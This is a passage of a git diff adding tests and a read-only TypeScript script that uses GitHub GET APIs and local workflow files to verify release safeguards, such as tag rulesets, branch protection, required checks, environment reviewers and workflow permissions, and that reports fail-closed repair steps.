Rulesets: verify the immutable v* tag ruleset" + const missingByStatus = classifyApiFailure("tag-ruleset", 404, "HTTP 404", repair) + const missingByMessage = classifyApiFailure("tag-ruleset", 1, "resource not found", repair) + const unauthorized401 = classifyApiFailure("tag-ruleset", 401, "HTTP 401", repair) + const unauthorized = classifyApiFailure("tag-ruleset", 403, "HTTP 403: Resource not accessible", repair) + const unavailable = classifyApiFailure("tag-ruleset", 1, "network unreachable", repair) + + expect(missingByStatus).toMatchObject({ status: "missing", repair }) + expect(missingByMessage).toMatchObject({ status: "missing", repair }) + expect(unauthorized401).toMatchObject({ status: "unauthorized", repair }) + expect(unauthorized).toMatchObject({ status: "unauthorized", repair }) + expect(unavailable).toMatchObject({ status: "unavailable", repair }) + expect(summarizeReadiness([missingByStatus]).ok).toBe(false) + expect(summarizeReadiness([unauthorized]).ok).toBe(false) + expect(summarizeReadiness([unavailable]).ok).toBe(false) +}) + +test("workflow repository-administration permission fails the local safeguard", () => { + const check = classifyWorkflowAdminPermissions([ + { + path: ".github/workflows/release.yml", + source: "jobs:\n publish:\n permissions:\n contents: write\n administration: write\n", + }, + ]) + + expect(check).toMatchObject({ + status: "missing", + repair: + "Remove administration from workflow permissions; release publication needs contents: write, never repository administration", + }) + expect(check.detail).toContain(".github/workflows/release.yml") +}) + +test("real repository workflows grant no repository-administration permission", () => { + const workflowDirectory = join(root, ".github", "workflows") + const workflows = readdirSync(workflowDirectory) + .filter((path) => path.endsWith(".yml") || path.endsWith(".yaml")) + .map((path) => ({ + path: `.github/workflows/${path}`, + source: readFileSync(join(workflowDirectory, path), "utf8"), + })) + + expect(classifyWorkflowAdminPermissions(workflows)).toMatchObject({ status: "ready" }) +}) + +test("missing release-path status checks name the branch settings repair", () => { + const check = classifyRequiredStatusChecks({ contexts: ["Release impact"] }) + + expect(check.status).toBe("missing") + expect(check.detail).toContain("Deterministic package") + expect(check.repair).toContain("Settings > Branches > Branch protection rules") +}) diff --git a/scripts/repository-readiness.ts b/scripts/repository-readiness.ts new file mode 100644 index 0000000..f87b7a2 --- /dev/null +++ b/scripts/repository-readiness.ts @@ -0,0 +1,1019 @@ +import { existsSync, readdirSync, readFileSync } from "node:fs" +import { join, resolve } from "node:path" + +const root = resolve(import.meta.dir, "..") +const tagRulesetRepair = + "Settings > Rules > Rulesets > New tag ruleset: target tags matching v*, enable Restrict deletions and Restrict updates, no bypass actors" +const defaultBranchRepair = "Settings > Branches > Default branch: change the default branch to main" +const mergeCommitRepair = "Settings > General > Pull Requests: enable Allow merge commits" +const mergeHistoryRepair = + "Settings > Rules: remove Require linear history from every rule protecting main; release pull requests require two-parent merge commits" +const actionsRepair = + "Settings > Actions > General > Actions permissions: enable the actions and reusable workflows used by this repository" +const requiredChecksRepair = + "Settings > Branches > Branch protection rules: protect main and require every release-path status check" +const workflowAdminRepair = + "Remove administration from workflow permissions; release publication needs contents: write, never repository administration" +const releaseAutomationRepair = + "Settings > Secrets and variables > Actions: add secret RELEASE_PLEASE_TOKEN and variable RELEASE_PLEASE_AUTOMATION_LOGIN" +const releaseEnvironmentRepair = + "Settings > Environments > release > Deployment protection rules: enable Required reviewers and add at least one reviewer" +const hostedCanaryRepair = + "Settings > Environments > hosted-canary-qualification: create the environment and add secrets CANARY_GH_TOKEN, CANARY_SSH_KNOWN_HOSTS, and CANARY_SSH_PRIVATE_KEY" + +const HOSTED_CANARY_ENVIRONMENT = "hosted-canary-qualification" +export const REQUIRED_HOSTED_CANARY_SECRETS = [ + "CANARY_GH_TOKEN", + "CANARY_SSH_KNOWN_HOSTS", + "CANARY_SSH_PRIVATE_KEY", +] as const + +const help = `Verify human-owned GitHub repository safeguards without changing them. + +Usage: + bun run readiness [--repo ] [--json] + +Options: + --repo Repository override (default: GITHUB_REPOSITORY, plugin.config.json, or gh repo view) + --json Emit one JSON result on stdout + -h, --help Show this help + +Safety: + Read-only. Uses only GitHub GET APIs and local workflow files. + A missing, unauthorized, or unavailable safeguard fails closed. +` + +/** Status of one repository publication safeguard. */ +export type ReadinessStatus = "ready" | "missing" | "unauthorized" | "unavailable" + +/** One independently repairable repository publication safeguard. */ +export interface ReadinessCheck { + /** Stable safeguard name. */ + name: string + /** Fail-closed classification. */ + status: ReadinessStatus + /** Observed state without secrets. */ + detail: string + /** Exact human-owned repair path, empty only when ready. */ + repair: string +} + +/** Local workflow source classified without GitHub access. */ +export interface WorkflowSource { + /** Repository-relative workflow path. */ + path: string + /** YAML source read from that path. */ + source: string +} + +const VERIFIED_ACTION_OWNERS = new Set(["googleapis", "oven-sh"]) + +/** Release-path checks that must gate merges into main. */ +export const REQUIRED_STATUS_CHECKS = [ + "Conventional Commit title", + "Release impact", + "Hosted public and private Git canaries", + "Compatibility (linux-x64)", + "Compatibility (linux-arm64)", + "Compatibility (darwin-arm64)", + "Compatibility (darwin-x64)", + "Deterministic package", +] as const + +interface Options { + repository?: string + json: boolean +} + +interface ApiSuccess { + ok: true + data: unknown +} + +interface ApiFailure { + ok: false + exitCode: number + stderr: string +} + +type ApiResult = ApiSuccess | ApiFailure + +interface ReadinessResult { + ok: boolean + repository: string + runId: string + sideEffects: "none" + checks: ReadinessCheck[] + nextAction: string +} + +class ReadinessCliError extends Error { + constructor( + readonly category: "usage" | "unavailable", + message: string, + readonly repair: string, + ) { + super(message) + } +} + +function isRecord(value: unknown): value is Record { + return typeof value === "object" && value !== null && !Array.isArray(value) +} + +function ready(name: string, detail: string): ReadinessCheck { + return { name, status: "ready", detail, repair: "" } +} + +function missing(name: string, detail: string, repair: string): ReadinessCheck { + return { name, status: "missing", detail, repair } +} + +function matchesVersionTags(rule: Record): boolean { + if (!isRecord(rule.conditions) || !isRecord(rule.conditions.ref_name)) return false + const include = rule.conditions.ref_name.include + const exclude = rule.conditions.ref_name.exclude + if (!Array.isArray(include) || !include.every((pattern) => typeof pattern === "string")) return false + if (!Array.isArray(exclude) || exclude.length > 0) return false + return include.some((pattern) => ["v*", "refs/tags/v*", "~ALL"].includes(pattern)) +} + +/** + * Prove one active, non-bypassable ruleset makes every v* tag immutable. + * + * @param rulesets - Detailed repository ruleset API response + * @returns Tag-ruleset safeguard classification + * + * @example + * ```typescript + * classifyTagRuleset([{ target: "tag", enforcement: "active", bypass_actors: [], conditions: { ref_name: { include: ["refs/tags/v*"], exclude: [] } }, rules: [{ type: "deletion" }, { type: "update" }] }]) + * ``` + */ +export function classifyTagRuleset(rulesets: unknown): ReadinessCheck { + if (!Array.isArray(rulesets)) { + return { + name: "tag-ruleset", + status: "unavailable", + detail: "GitHub returned an unreadable ruleset response; immutable v* tags are unproven", + repair: tagRulesetRepair, + } + } + for (const value of rulesets) { + if (!isRecord(value)) continue + const bypassActors = value.bypass_actors + const rules = value.rules + if ( + value.target !== "tag" || + value.enforcement !== "active" || + !Array.isArray(bypassActors) || + bypassActors.length > 0 || + !Array.isArray(rules) || + !matchesVersionTags(value) + ) { + continue + } + const ruleTypes = new Set( + rules.flatMap((rule) => (isRecord(rule) && typeof rule.type === "string" ? [rule.type] : [])), + ) + if (ruleTypes.has("deletion") && ruleTypes.has("update")) { + return ready("tag-ruleset", "Active v* tag ruleset restricts deletion and updates with no bypass actors") + } + } + return missing( + "tag-ruleset", + "No active, no-bypass tag ruleset proves immutable v* tags through deletion and update restrictions", + tagRulesetRepair, + ) +} + +/** + * Classify repository metadata needed by the two-parent release design. + * + * @param repository - GitHub repository API response + * @returns Default-branch and merge-mode checks + * + * @example + * ```typescript + * classifyRepositorySettings({ default_branch: "main", allow_merge_commit: true }) + * ``` + */ +export function classifyRepositorySettings(repository: unknown): ReadinessCheck[] { + if (!isRecord(repository)) { + return [ + { + name: "default-branch", + status: "unavailable", + detail: "GitHub returned unreadable repository metadata; the default branch is unproven", + repair: defaultBranchRepair, + }, + { + name: "merge-commits", + status: "unavailable", + detail: "GitHub returned unreadable repository metadata; merge mode is unproven", + repair: mergeCommitRepair, + }, + ] + } + return [ + repository.default_branch === "main" + ? ready("default-branch", "Default branch is main") + : missing( + "default-branch", + `Default branch is ${String(repository.default_branch ?? "unset")}; expected main`, + defaultBranchRepair, + ), + repository.allow_merge_commit === true + ? ready("merge-commits", "Merge commits are allowed for two-parent release candidates") + : missing( + "merge-commits", + "Merge commits are disabled; release publication requires a two-parent merge commit", + mergeCommitRepair, + ), + ] +} + +/** + * Reject branch policies that prohibit the release design's two-parent merge commit. + * + * @param branchProtection - Full main branch-protection response, or null when no classic protection exists + * @param effectiveRules - Effective GitHub ruleset rules for main + * @returns Merge-history policy classification + * + * @example + * ```typescript + * classifyMergeHistoryPolicy(null, [{ type: "required_status_checks" }]) + * ``` + */ +export function classifyMergeHistoryPolicy( + branchProtection: unknown, + effectiveRules: unknown, +): ReadinessCheck { + if (branchProtection !== null && !isRecord(branchProtection)) { + return { + name: "merge-history-policy", + status: "unavailable", + detail: "GitHub returned unreadable main branch protection; merge history policy is unproven", + repair: mergeHistoryRepair, + } + } + if (isRecord(branchProtection) && branchProtection.required_linear_history !== undefined) { + const linearHistory = branchProtection.required_linear_history + if (!isRecord(linearHistory) || typeof linearHistory.enabled !== "boolean") { + return { + name: "merge-history-policy", + status: "unavailable", + detail: "GitHub returned unreadable linear-history branch protection; merge commits are unproven", + repair: mergeHistoryRepair, + } + } + if (linearHistory.enabled) { + return missing( + "merge-history-policy", + "Classic branch protection requires linear history on main, which prohibits two-parent release merges", + mergeHistoryRepair, + ) + } + } + if ( + !Array.isArray(effectiveRules) || + effectiveRules.some((rule) => !isRecord(rule) || typeof rule.type !== "string") + ) { + return { + name: "merge-history-policy", + status: "unavailable", + detail: "GitHub returned unreadable effective rules for main; merge history policy is unproven", + repair: mergeHistoryRepair, + } + } + if (effectiveRules.some((rule) => rule.type === "required_linear_history")) { + return missing( + "merge-history-policy", + "An active ruleset requires linear history on main, which prohibits two-parent release merges", + mergeHistoryRepair, + ) + } + return ready( + "merge-history-policy", + "Neither classic branch protection nor effective rulesets require linear history on main", + ) +} + +/** + * Verify GitHub Actions is enabled for the repository. + * + * @param permissions - GitHub Actions permissions API response + * @returns Actions availability safeguard classification + * + * @example + * ```typescript + * classifyActionsPermissions({ enabled: true, allowed_actions: "all" }) + * ``` + */ +export function classifyActionsPermissions( + permissions: unknown, + selectedActions?: unknown, + requiredActions: string[] = [], +): ReadinessCheck { + if (!isRecord(permissions) || typeof permissions.enabled !== "boolean") { + return { + name: "actions-permissions", + status: "unavailable", + detail: "GitHub returned unreadable Actions permissions; release execution is unproven", + repair: actionsRepair, + } + } + if (!permissions.enabled) { + return missing("actions-permissions", "GitHub Actions is disabled", actionsRepair) + } + if (permissions.allowed_actions === "all") { + return ready("actions-permissions", "GitHub Actions and all required actions are enabled") + } + if (permissions.allowed_actions === "local_only") { + return missing( + "actions-permissions", + "GitHub Actions allows only local actions; repository workflows require external actions", + actionsRepair, + ) + } + if (permissions.allowed_actions !== "selected") { + return { + name: "actions-permissions", + status: "unavailable", + detail: "GitHub returned an unreadable allowed-actions policy; release execution is unproven", + repair: actionsRepair, + } + } + if ( + !isRecord(selectedActions) || + typeof selectedActions.github_owned_allowed !== "boolean" || + typeof selectedActions.verified_allowed !== "boolean" || + !Array.isArray(selectedActions.patterns_allowed) || + !selectedActions.patterns_allowed.every((pattern) => typeof pattern === "string") + ) { + return { + name: "actions-permissions", + status: "unavailable", + detail: "GitHub returned unreadable selected-action permissions; release execution is unproven", + repair: actionsRepair, + } + } + const patterns = selectedActions.patterns_allowed as string[] + const matchesPattern = (reference: string): boolean => + patterns.some((pattern) => { + const expression = pattern + .replace(/[.+?^${}()|[\]\\]/g, "\\$&") + .replaceAll("*", ".*") + return new RegExp(`^${expression}$`, "i").test(reference) + }) + const blocked = requiredActions.filter((reference) => { + const owner = reference.split("/", 1)[0]?.toLowerCase() + if (owner === "actions" && selectedActions.github_owned_allowed) return false + if (owner && VERIFIED_ACTION_OWNERS.has(owner) && selectedActions.verified_allowed) return false + return !matchesPattern(reference) + }) + return blocked.length === 0 + ? ready("actions-permissions", "GitHub Actions permits every action used by repository workflows") + : missing( + "actions-permissions", + `Selected Actions policy blocks required workflow actions: ${blocked.join(", ")}`, + actionsRepair, + ) +} + +/** Verify only the names of the release-maintenance credential and bound automation identity. */ +export function classifyReleaseAutomationConfiguration( + secretsResponse: unknown, + variablesResponse: unknown, +): ReadinessCheck { + if (!isRecord(secretsResponse) || !Array.isArray(secretsResponse.secrets)) { + return { + name: "release-automation-configuration", + status: "unavailable", + detail: "GitHub returned unreadable Actions secret metadata; release maintenance credentials are unproven", + repair: releaseAutomationRepair, + } + } + if (!isRecord(variablesResponse) || !Array.isArray(variablesResponse.variables)) { + return { + name: "release-automation-configuration", + status: "unavailable", + detail: "GitHub returned unreadable Actions variable metadata; release automation identity is unproven", + repair: releaseAutomationRepair, + } + } + const secretNames = new Set( + secretsResponse.secrets.flatMap((entry) => + isRecord(entry) && typeof entry.name === "string" ? [entry.name] : [], + ), + ) + const variableNames = new Set( + variablesResponse.variables.flatMap((entry) => + isRecord(entry) && typeof entry.name === "string" ? [entry.name] : [], + ), + ) + const absent = [ + ...(!secretNames.has("RELEASE_PLEASE_TOKEN") ? ["secret RELEASE_PLEASE_TOKEN"] : []), + ...(!variableNames.has("RELEASE_PLEASE_AUTOMATION_LOGIN") + ? ["variable RELEASE_PLEASE_AUTOMATION_LOGIN"] + : []), + ] + return absent.length === 0 + ? ready( + "release-automation-configuration", + "Release Please token and automation-login names are configured", + ) + : missing( + "release-automation-configuration", + `Release maintenance is missing ${absent.join(" and ")}`, + releaseAutomationRepair, + ) +} + +/** + * Require a human reviewer before the release environment exposes publication authority. + * + * @param environment - GitHub release-environment API response + * @returns Required-reviewer safeguard classification + * + * @example + * ```typescript + * classifyReleaseEnvironmentProtection({ protection_rules: [{ type: "required_reviewers", reviewers: [{ type: "User" }] }] }) + * ``` + */ +export function classifyReleaseEnvironmentProtection(environment: unknown): ReadinessCheck { + if (!isRecord(environment) || !Array.isArray(environment.protection_rules)) { + return { + name: "release-environment-reviewers", + status: "unavailable", + detail: "GitHub returned unreadable release-environment protection; required human review is unproven", + repair: releaseEnvironmentRepair, + } + } + const requiredReviewers = environment.protection_rules.find( + (rule) => isRecord(rule) && rule.type === "required_reviewers", + ) + if ( + isRecord(requiredReviewers) && + Array.isArray(requiredReviewers.reviewers) && + requiredReviewers.reviewers.length > 0 + ) { + return ready( + "release-environment-reviewers", + `release requires ${requiredReviewers.reviewers.length} configured reviewer${requiredReviewers.reviewers.length === 1 ? "" : "s"}`, + ) + } + return missing( + "release-environment-reviewers", + "release has no required-reviewer protection with a configured reviewer", + releaseEnvironmentRepair, + ) +} + +/** Verify hosted-canary qualification authority from environment and secret names only. */ +export function classifyHostedCanaryConfiguration( + environment: unknown, + secretsResponse: unknown, +): ReadinessCheck { + if (!isRecord(environment) || environment.name !== HOSTED_CANARY_ENVIRONMENT) { + return { + name: "hosted-canary-configuration", + status: "unavailable", + detail: "GitHub returned unreadable hosted-canary environment metadata; qualification authority is unproven", + repair: hostedCanaryRepair, + } + } + if (!isRecord(secretsResponse) || !Array.isArray(secretsResponse.secrets)) { + return { + name: "hosted-canary-configuration", + status: "unavailable", + detail: "GitHub returned unreadable hosted-canary secret metadata; qualification credentials are unproven", + repair: hostedCanaryRepair, + } + } + if ( + secretsResponse.secrets.some( + (entry) => !isRecord(entry) || typeof entry.name !== "string", + ) + ) { + return { + name: "hosted-canary-configuration", + status: "unavailable", + detail: "GitHub returned a hosted-canary secret without a readable name; qualification credentials are unproven", + repair: hostedCanaryRepair, + } + } + const configured = new Set( + secretsResponse.secrets.flatMap((entry) => + isRecord(entry) && typeof entry.name === "string" ? [entry.name] : [], + ), + ) + const absent = REQUIRED_HOSTED_CANARY_SECRETS.filter((name) => !configured.has(name)) + return absent.length === 0 + ? ready( + "hosted-canary-configuration", + `${HOSTED_CANARY_ENVIRONMENT} and all required secret names are configured`, + ) + : missing( + "hosted-canary-configuration", + `Hosted-canary qualification is missing environment secret${absent.length === 1 ? "" : "s"}: ${absent.join(", ")}`, + hostedCanaryRepair, + ) +} + +/** + * Verify every status check needed by the release path protects main. + * + * @param protection - Required status checks API response + * @returns Required-checks safeguard classification + * + * @example + * ```typescript + * classifyRequiredStatusChecks({ contexts: ["Release impact"] }) + * ``` + */ +export function classifyRequiredStatusChecks(protection: unknown): ReadinessCheck { + if (!isRecord(protection)) { + return { + name: "required-status-checks", + status: "unavailable", + detail: "GitHub returned unreadable branch protection; release-path checks are unproven", + repair: requiredChecksRepair, + } + } + const contexts = Array.isArray(protection.contexts) + ? protection.contexts.filter((context): context is string => typeof context === "string") + : [] + const checks = Array.isArray(protection.checks) + ? protection.checks.flatMap((check) => + isRecord(check) && typeof check.context === "string" ? [check.context] : [], + ) + : [] + const configured = new Set([...contexts, ...checks]) + const absent = REQUIRED_STATUS_CHECKS.filter((check) => !configured.has(check)) + if (absent.length === 0) { + return ready("required-status-checks", `main requires ${REQUIRED_STATUS_CHECKS.length} release-path checks`) + } + return missing( + "required-status-checks", + `main does not require: ${absent.join(", ")}`, + `${requiredChecksRepair}: ${REQUIRED_STATUS_CHECKS.join(", ")}`, + ) +} + +function administrationGrant(value: unknown): boolean { + if (Array.isArray(value)) return value.some(administrationGrant) + if (!isRecord(value)) return false + if (isRecord(value.permissions)) { + const permission = value.permissions.administration + if (permission !== undefined && permission !== "none") return true + } + return Object.values(value).some(administrationGrant) +} + +/** + * Reject local workflows that grant repository-administration authority. + * + * @param workflows - Repository workflow YAML sources + * @returns Local workflow-permission safeguard classification + * + * @example + * ```typescript + * classifyWorkflowAdminPermissions([{ path: ".github/workflows/release.yml", source: "permissions:\n contents: read\n" }]) + * ``` + */ +export function classifyWorkflowAdminPermissions(workflows: WorkflowSource[]): ReadinessCheck { + const offenders: string[] = [] + for (const workflow of workflows) { + let parsed: unknown + try { + parsed = Bun.YAML.parse(workflow.source) + } catch { + return { + name: "workflow-administration", + status: "unavailable", + detail: `${workflow.path} is not valid YAML; workflow authority is unproven`, + repair: `Repair ${workflow.path}, then verify ${workflowAdminRepair}`, + } + } + if (administrationGrant(parsed)) offenders.push(workflow.path) + } + return offenders.length === 0 + ? ready("workflow-administration", "No workflow grants repository-administration authority") + : missing( + "workflow-administration", + `Repository-administration permission appears in: ${offenders.join(", ")}`, + workflowAdminRepair, + ) +} + +/** + * Convert an unsuccessful read-only API call into a fail-closed safeguard. + * + * @param name - Stable safeguard name + * @param exitCode - Process or HTTP status when available + * @param stderr - Sanitized gh error text + * @param repair - Human-owned settings repair path + * @returns Missing, unauthorized, or unavailable safeguard classification + * + * @example + * ```typescript + * classifyApiFailure("tag-ruleset", 403, "HTTP 403", "Settings > Rules > Rulesets") + * ``` + */ +export function classifyApiFailure( + name: string, + exitCode: number, + stderr: string, + repair: string, +): ReadinessCheck { + const unauthorized = + [401, 403].includes(exitCode) || /\b(?:401|403)\b|unauthori[sz]ed|forbidden/i.test(stderr) + const notFound = exitCode === 404 || /\b404\b|not found/i.test(stderr) + if (!unauthorized && notFound) { + return { + name, + status: "missing", + detail: "The GitHub API reports that this safeguard is not configured", + repair, + } + } + return { + name, + status: unauthorized ? "unauthorized" : "unavailable", + detail: unauthorized + ? "The active gh identity cannot prove this safeguard through the GitHub API" + : "The GitHub API could not be read; this safeguard remains unproven", + repair, + } +} + +function isNotFoundApiFailure(failure: ApiFailure): boolean { + return failure.exitCode === 404 || /\b404\b|not found/i.test(failure.stderr) +} + +/** + * Compute readiness without allowing unknown states to pass. + * + * @param checks - Independently classified safeguards + * @returns Aggregate containing the original checks + * + * @example + * ```typescript + * summarizeReadiness([{ name: "example", status: "ready", detail: "ready", repair: "" }]) + * ``` + */ +export function summarizeReadiness(checks: ReadinessCheck[]): { ok: boolean; checks: ReadinessCheck[] } { + return { ok: checks.every((check) => check.status === "ready"), checks } +} + +function optionValue(arguments_: string[], name: string): string | undefined { + const index = arguments_.indexOf(name) + if (index === -1) return undefined + const value = arguments_[index + 1] + if (!value || value.startsWith("--")) { + throw new ReadinessCliError("usage", `${name} requires a value`, "bun run readiness -- --help") + } + return value +} + +function parseOptions(arguments_: string[]): Options | null { + if (arguments_.includes("--help") || arguments_.includes("-h")) { + console.log(help) + return null + } + for (let index = 0; index < arguments_.length; index += 1) { + const argument = arguments_[index] + if (argument === "--repo") { + index += 1 + continue + } + if (argument !== "--json") { + throw new ReadinessCliError("usage", `unknown option: ${argument}`, "bun run readiness -- --help") + } + } + return { repository: optionValue(arguments_, "--repo"), json: arguments_.includes("--json") } +} + +function repositorySlug(value: unknown): string | undefined { + if (typeof value !== "string") return undefined + const trimmed = value.trim().replace(/\.git$/, "") + const url = /^(?:https?:\/\/github\.com\/|ssh:\/\/git@github\.com\/|git@github\.com:)?(?[^/\s]+\/[^/\s]+)$/.exec( + trimmed, + ) + return url?.groups?.slug +} + +function spawnGh(arguments_: string[]): { exitCode: number; stdout: string; stderr: string } { + const result = Bun.spawnSync({ + cmd: ["gh", ...arguments_], + cwd: root, + stdout: "pipe", + stderr: "pipe", + }) + return { + exitCode: result.exitCode, + stdout: result.stdout.toString().trim(), + stderr: result.stderr.toString().trim(), + } +} + +function resolveRepository(explicit: string | undefined): string { + const candidates: unknown[] = [explicit, process.env.GITHUB_REPOSITORY] + const configPath = join(root, "plugin.config.json") + if (existsSync(configPath)) { + try { + const config = JSON.parse(readFileSync(configPath, "utf8")) as Record + candidates.push(config.repository) + } catch (error) { + throw new ReadinessCliError( + "unavailable", + `plugin.config.json cannot be read: ${error instanceof Error ? error.message : String(error)}`, + "Repair plugin.config.json repository or pass --repo ", + ) + } + } + for (const candidate of candidates) { + if (candidate === undefined) continue + const slug = repositorySlug(candidate) + if (slug) return slug + throw new ReadinessCliError( + "usage", + `repository must be owner/repo or a GitHub repository URL: ${String(candidate)}`, + "Pass --repo or repair plugin.config.json repository", + ) + } + const viewed = spawnGh(["repo", "view", "--json", "nameWithOwner", "--jq", ".nameWithOwner"]) + const slug = viewed.exitCode === 0 ? repositorySlug(viewed.stdout) : undefined + if (slug) return slug + throw new ReadinessCliError( + "unavailable", + "repository could not be resolved from configuration or gh repo view", + "Pass --repo or set GITHUB_REPOSITORY", + ) +} + +function readApi(endpoint: string, paginate = false): ApiResult { + const arguments_ = [ + "api", + "-H", + "Accept: application/vnd.github+json", + "-H", + "X-GitHub-Api-Version: 2022-11-28", + ] + if (paginate) arguments_.push("--paginate", "--slurp") + arguments_.push(endpoint) + const result = spawnGh(arguments_) + if (result.exitCode !== 0) return { ok: false, exitCode: result.exitCode, stderr: result.stderr } + try { + return { ok: true, data: JSON.parse(result.stdout) } + } catch { + return { ok: false, exitCode: result.exitCode, stderr: "GitHub API returned invalid JSON" } + } +} + +function apiFailure(name: string, failure: ApiFailure, settingsRepair: string): ReadinessCheck { + const authorizationRepair = + `Authenticate gh with repository Administration: read, inspect ${settingsRepair}, then rerun; never grant repository administration to release automation` + const availabilityRepair = `Restore gh API access, then rerun; do not enable release automation while ${settingsRepair} is unverified` + const classified = classifyApiFailure(name, failure.exitCode, failure.stderr, settingsRepair) + return { + ...classified, + repair: + classified.status === "unauthorized" + ? authorizationRepair + : classified.status === "missing" + ? settingsRepair + : availabilityRepair, + } +} + +function flattenPages(value: unknown): unknown { + if (!Array.isArray(value)) return value + if (value.every(Array.isArray)) return value.flat() + return value +} + +function checkTagRuleset(repository: string): ReadinessCheck { + const listed = readApi(`repos/${repository}/rulesets?includes_parents=true&per_page=100`, true) + if (!listed.ok) return apiFailure("tag-ruleset", listed, tagRulesetRepair) + const summaries = flattenPages(listed.data) + if (!Array.isArray(summaries)) return classifyTagRuleset(summaries) + const tagSummaries = summaries.filter((value) => isRecord(value) && value.target === "tag") + if (tagSummaries.length === 0) return classifyTagRuleset([]) + const details: unknown[] = [] + for (const summary of tagSummaries) { + if (!isRecord(summary) || typeof summary.id !== "number") { + return { + name: "tag-ruleset", + status: "unavailable", + detail: "GitHub returned a tag ruleset without a readable id; immutable v* tags are unproven", + repair: tagRulesetRepair, + } + } + const detailed = readApi(`repos/${repository}/rulesets/${summary.id}?includes_parents=true`) + if (!detailed.ok) return apiFailure("tag-ruleset", detailed, tagRulesetRepair) + details.push(detailed.data) + } + return classifyTagRuleset(details) +} + +function checkMergeHistoryPolicy(repository: string): ReadinessCheck { + const protection = readApi(`repos/${repository}/branches/main/protection`) + if (!protection.ok && !isNotFoundApiFailure(protection)) { + return apiFailure("merge-history-policy", protection, mergeHistoryRepair) + } + const effectiveRules = readApi(`repos/${repository}/rules/branches/main`) + if (!effectiveRules.ok) { + return apiFailure("merge-history-policy", effectiveRules, mergeHistoryRepair) + } + return classifyMergeHistoryPolicy(protection.ok ? protection.data : null, effectiveRules.data) +} + +function checkHostedCanaryConfiguration(repository: string): ReadinessCheck { + const environment = readApi(`repos/${repository}/environments/${HOSTED_CANARY_ENVIRONMENT}`) + if (!environment.ok) { + return apiFailure("hosted-canary-configuration", environment, hostedCanaryRepair) + } + const secrets = readApi( + `repos/${repository}/environments/${HOSTED_CANARY_ENVIRONMENT}/secrets`, + ) + if (!secrets.ok) { + return apiFailure("hosted-canary-configuration", secrets, hostedCanaryRepair) + } + return classifyHostedCanaryConfiguration(environment.data, secrets.data) +} + +function localWorkflows(): ReadinessCheck { + const workflowDirectory = join(root, ".github", "workflows") + try { + const workflows = readdirSync(workflowDirectory) + .filter((path) => path.endsWith(".yml") || path.endsWith(".yaml")) + .sort() + .map((path) => ({ + path: `.github/workflows/${path}`, + source: readFileSync(join(workflowDirectory, path), "utf8"), + })) + return classifyWorkflowAdminPermissions(workflows) + } catch (error) { + return { + name: "workflow-administration", + status: "unavailable", + detail: `Workflow files could not be read: ${error instanceof Error ? error.message : String(error)}`, + repair: "Restore readable .github/workflows/*.yml files, then rerun readiness", + } + } +} + +export function actionReferencesFromWorkflows(workflows: string[]): string[] { + return [ + ...new Set( + workflows + .flatMap((source) => [ + ...source.matchAll(/^\s*(?:-\s*)?uses:\s*([^\s#]+)/gm), + ]) + .map((match) => match[1]) + .filter((reference) => !reference.startsWith("./")), + ), + ].sort() +} + +function localActionReferences(): string[] { + const workflowDirectory = join(root, ".github", "workflows") + return actionReferencesFromWorkflows( + readdirSync(workflowDirectory) + .filter((path) => path.endsWith(".yml") || path.endsWith(".yaml")) + .map((path) => readFileSync(join(workflowDirectory, path), "utf8")), + ) +} + +function runChecks(repository: string): ReadinessCheck[] { + const checks: ReadinessCheck[] = [checkTagRuleset(repository), checkMergeHistoryPolicy(repository)] + const repositoryResponse = readApi(`repos/${repository}`) + if (repositoryResponse.ok) checks.push(...classifyRepositorySettings(repositoryResponse.data)) + else { + checks.push( + apiFailure("default-branch", repositoryResponse, defaultBranchRepair), + apiFailure("merge-commits", repositoryResponse, mergeCommitRepair), + ) + } + const actions = readApi(`repos/${repository}/actions/permissions`) + if (!actions.ok) checks.push(apiFailure("actions-permissions", actions, actionsRepair)) + else if (isRecord(actions.data) && actions.data.allowed_actions === "selected") { + const selectedActions = readApi(`repos/${repository}/actions/permissions/selected-actions`) + checks.push( + selectedActions.ok + ? classifyActionsPermissions(actions.data, selectedActions.data, localActionReferences()) + : apiFailure("actions-permissions", selectedActions, actionsRepair), + ) + } else { + checks.push(classifyActionsPermissions(actions.data, undefined, localActionReferences())) + } + const releaseSecrets = readApi(`repos/${repository}/actions/secrets`) + const releaseVariables = readApi(`repos/${repository}/actions/variables`) + if (!releaseSecrets.ok) { + checks.push( + apiFailure( + "release-automation-configuration", + releaseSecrets, + releaseAutomationRepair, + ), + ) + } else if (!releaseVariables.ok) { + checks.push( + apiFailure( + "release-automation-configuration", + releaseVariables, + releaseAutomationRepair, + ), + ) + } else { + checks.push(classifyReleaseAutomationConfiguration(releaseSecrets.data, releaseVariables.data)) + } + const requiredChecks = readApi(`repos/${repository}/branches/main/protection/required_status_checks`) + checks.push( + requiredChecks.ok + ? classifyRequiredStatusChecks(requiredChecks.data) + : apiFailure("required-status-checks", requiredChecks, requiredChecksRepair), + ) + const releaseEnvironment = readApi(`repos/${repository}/environments/release`) + checks.push( + releaseEnvironment.ok + ? classifyReleaseEnvironmentProtection(releaseEnvironment.data) + : apiFailure( + "release-environment-reviewers", + releaseEnvironment, + releaseEnvironmentRepair, + ), + ) + checks.push(checkHostedCanaryConfiguration(repository)) + checks.push(localWorkflows()) + return checks +} + +function renderHuman(result: ReadinessResult): void { + console.log(`Repository readiness: ${result.ok ? "READY" : "NOT READY"}`) + console.log(`Repository: ${result.repository}`) + for (const check of result.checks) { + console.log(`${check.status === "ready" ? "[READY]" : `[${check.status.toUpperCase()}]`} ${check.name}: ${check.detail}`) + if (check.repair) console.log(` Repair: ${check.repair}`) + } + console.log(`Next: ${result.nextAction}`) +} + +function emitResult(result: ReadinessResult, json: boolean): void { + if (json) console.log(JSON.stringify(result)) + else renderHuman(result) +} + +function main(arguments_: string[], runId: string): void { + const options = parseOptions(arguments_) + if (!options) return + const repository = resolveRepository(options.repository) + const summary = summarizeReadiness(runChecks(repository)) + const result: ReadinessResult = { + ...summary, + repository, + runId, + sideEffects: "none", + nextAction: summary.ok + ? "Enable release automation only while these safeguards remain ready" + : "Apply each human-owned repair, then rerun bun run readiness", + } + emitResult(result, options.json) + if (!result.ok) process.exitCode = 1 +} + +if (import.meta.main) { + const arguments_ = process.argv.slice(2) + const json = arguments_.includes("--json") + const runId = crypto.randomUUID() + try { + main(arguments_, runId) + } catch (error) { + const failure = + error instanceof ReadinessCliError + ? error + : new ReadinessCliError( + "unavailable", + error instanceof Error ? error.message : String(error), + "Repair the reported failure, then rerun bun run readiness", + ) + const result: ReadinessResult = { + ok: false, + repository: "unresolved", + runId, + sideEffects: "none", + checks: [ + { + name: "repository-resolution", + status: failure.category === 